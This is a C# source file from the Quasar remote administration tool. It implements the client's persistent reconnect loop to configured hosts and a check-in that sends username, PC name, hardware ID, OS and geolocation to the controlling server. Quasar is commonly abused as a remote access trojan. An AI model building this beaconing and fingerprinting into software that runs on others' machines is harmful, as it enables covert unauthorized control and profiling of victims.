using Quasar.Client.Config; using Quasar.Client.Helper; using Quasar.Client.IO; using Quasar.Client.IpGeoLocation; using Quasar.Client.User; using Quasar.Common.DNS; using Quasar.Common.Helpers; using Quasar.Common.Messages; using Quasar.Common.Utilities; using System; using System.Diagnostics; using System.Security.Cryptography.X509Certificates; using System.Threading; namespace Quasar.Client.Networking { public class QuasarClient : Client, IDisposable { /// /// Used to keep track if the client has been identified by the server. /// private bool _identified; /// /// The hosts manager which contains the available hosts to connect to. /// private readonly HostsManager _hosts; /// /// Random number generator to slightly randomize the reconnection delay. /// private readonly SafeRandom _random; /// /// Create a and signals cancellation. /// private readonly CancellationTokenSource _tokenSource; /// /// The token to check for cancellation. /// private readonly CancellationToken _token; /// /// Initializes a new instance of the class. /// /// The hosts manager which contains the available hosts to connect to. /// The server certificate. public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) : base(serverCertificate) { this._hosts = hostsManager; this._random = new SafeRandom(); base.ClientState += OnClientState; base.ClientRead += OnClientRead; base.ClientFail += OnClientFail; this._tokenSource = new CancellationTokenSource(); this._token = _tokenSource.Token; } /// /// Connection loop used to reconnect and keep the connection open. /// public void ConnectLoop() { // TODO: do not re-use object while (!_token.IsCancellationRequested) { if (!Connected) { Host host = _hosts.GetNextHost(); base.Connect(host.IpAddress, host.Port); } while (Connected) // hold client open { _token.WaitHandle.WaitOne(1000); } if (_token.IsCancellationRequested) { Disconnect(); return; } Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750)); } } private void OnClientRead(Client client, IMessage message, int messageLength) { if (!_identified) { if (message.GetType() == typeof(ClientIdentificationResult)) { var reply = (ClientIdentificationResult) message; _identified = reply.Result; } return; } MessageHandler.Process(client, message); } private void OnClientFail(Client client, Exception ex) { Debug.WriteLine("Client Fail - Exception Message: " + ex.Message); client.Disconnect(); } private void OnClientState(Client client, bool connected) { _identified = false; // always reset identification if (connected) { // send client identification once connected var geoInfo = GeoInformationFactory.GetGeoInformation(); var userAccount = new UserAccount(); client.Send(new ClientIdentification { Version = Settings.VERSION, OperatingSystem = PlatformHelper.FullName, AccountType = nameof(userAccount.Type), Country = geoInfo.Country, CountryCode = geoInfo.CountryCode, ImageIndex = geoInfo.ImageIndex, Id = HardwareDevices.HardwareId, Username = userAccount.UserName, PcName = SystemHelper.GetPcName(), Tag = Settings.TAG, EncryptionKey = Settings.ENCRYPTIONKEY, Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) }); } } /// /// Stops the connection loop and disconnects the connection. /// public void Exit() { _tokenSource.Cancel(); Disconnect(); } /// /// Disposes all managed and unmanaged resources associated with this activity detection service. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { _tokenSource.Cancel(); _tokenSource.Dispose(); } } } }